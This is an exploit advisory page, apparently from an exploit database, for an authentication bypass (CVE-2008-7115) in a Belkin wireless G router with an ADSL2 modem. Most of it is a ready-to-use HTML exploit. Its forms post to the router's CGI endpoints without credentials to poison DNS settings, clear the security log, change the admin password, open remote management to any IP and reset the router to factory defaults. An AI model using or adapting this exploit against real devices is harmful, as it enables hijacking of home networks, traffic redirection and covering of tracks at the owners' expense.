Belkin wireless G router + ADSL2 modem Auth Bypass Exploit

2009.08.30
Credit: noensr
Risk: High
Local: No
Remote: Yes
CVE: CVE-2008-7115
CWE: CWE-264


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<html> <head> </head> <body> <b>html code to bypass the webinterface password protection of the Belkin wireless G router + adsl2 modem.<br> It worked on model F5D7632-4V6 with upgraded firmware 6.01.08.</b> <br> <form action="http://192.168.2.1/cgi-bin/setup_dns.exe" name=dnspoison method=post> Change dns nameservers (ip's can't be the same)<br> <input name=page type=hidden value="setup_dns"> <input name=logout type=hidden value=""> <input name=auto_from_isp type=hidden value="0"> <input name=dns1_1 type=text value="1"> <input name=dns1_2 type=text value="2"> <input name=dns1_3 type=text value="3"> <input name=dns1_4 type=text value="4"> <br> <input name=dns2_1 type=text value="1"> <input name=dns2_2 type=text value="2"> <input name=dns2_3 type=text value="3"> <input name=dns2_4 type=text value="5"> <br> <input name=submit type=submit value="poison"> </form> <br> <br> <form action="http://192.168.2.1/cgi-bin/statusprocess.exe" name=clearlog method=post> Clear log file<br> <input name=securityclear type=submit value="clear"> </form> <br> <br> <form ACTION="http://192.168.2.1/cgi-bin/system_all.exe" method=post name=changepassword> Change time, pwd(if you have old pwd), remote management, UPnP:)<br> and automatic firmware update (nice combined with DNS poisoning)<br> <input type="hidden" name="restart_time" value="0"> <input type="hidden" name="reload" value="1"> <input type="hidden" name="restart_page" value='document.location.href="system.stm";'> <input type="hidden" name="location_page" value="system.stm"> <input type="hidden" name="server1" value=""> <input type="hidden" name="server2" value=""> <!-- for clock --> <input type="hidden" name="year" value=""> <input type="hidden" name="mon" value=""> <input type="hidden" name="day" value=""> <input type="hidden" name="hour" value=""> <input type="hidden" name="min" value=""> <input type="hidden" name="sec" value=""> <br>old password<br> <input type="password" size="12" maxlength="12" name="userOldPswd" value=""> <br>new password, twice<br> <input type="password" size="12" maxlength="12" name="userNewPswd" value=""> <input type="password" size="12" maxlength="12" name="userConPswd" value=""> <br>login timeout (1-99 minutes)<br> <input type="text" name="timeout" size="3" maxlength="3" value="10"> <br>Time and Time Zone:<br> daylight saving : <br> <input type="checkbox" name="daylight" value="1">timezone(number)<br> <input type="text" name="time_zone" value="26"> <input type="checkbox" name="enable_ntp" value="1">Enable Automatic Time Server Maintenance<br> <tr> <td width="240">Primary Server</td> <td width="360"> <select name="time1"> <option>132.163.4.102 - North America</option> <option>192.5.41.41 - North America</option> <option>192.5.41.209 - North America</option> <option>207.200.81.113 - North America</option> <option>208.184.49.9 - North America</option> <option>129.132.2.21 - Europe</option> <option>130.149.17.8 - Europe</option> <option>128.250.36.3 - Australia</option> <option>137.189.8.174 - Asia Pacific</option> </select> </td> </tr> <tr> <td width="240">Secondary Server</td> <td width="360"> <select name="time2"> <option>132.163.4.102 - North America</option> <option>192.5.41.41 - North America</option> <option>192.5.41.209 - North America</option> <option>207.200.81.113 - North America</option> <option>208.184.49.9 - North America</option> <option>129.132.2.21 - Europe</option> <option>130.149.17.8 - Europe</option> <option>128.250.36.3 - Australia</option> <option>137.189.8.174 - Asia Pacific</option> </select> </td> </tr> <br>Remote management: <br> <input type="checkbox" name="allow_all" value="1">Any IP address can remotely manage the router<br> Only this IP address can remotely manage the router<br> <input name="IP1" size="3" maxlength="3" value="0">. <input name="IP2" size="3" maxlength="3" value="0">. <input name="IP3" size="3" maxlength="3" value="0">. <input name="IP4" size="3" maxlength="3" value="0"> <br>remote port: <input name="REMOTEPORT" size="5" maxlength="5" value="0"> <br>NAT Enabling:<br> <input type=radio name=Nat_enable value=1>Enable<br> <input type=radio name=Nat_enable value=0>Disable<br> <br>UPnP<br> <input type="radio" name="upnp_enable" value=1>Enable<br> <input type=radio name=upnp_enable value=0>Disable<br> <br>Auto Update Firmware Enabling<br> <input type="radio" name="autoUpdate_enable" value=1>Enable<br> <input type="radio" name="autoUpdate_enable" value=0>disable<br> </form> <form method="POST" action="http://192.168.2.1/cgi-bin/restore.exe" name="RebootForm"> <br>restore factory defaults (and pw:D)<br> <input type="hidden" name="page" value="tools_restore"> <input type="hidden" name="logout"> <input type="submit" value="Restore Defaults" style="{width:120px;}" class="submitBtn"> </form> </body> </html>

References:

http://xforce.iss.net/xforce/xfdb/44874
http://www.securitytracker.com/id?1020747
http://www.milw0rm.com/exploits/6305
http://secunia.com/advisories/31665


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top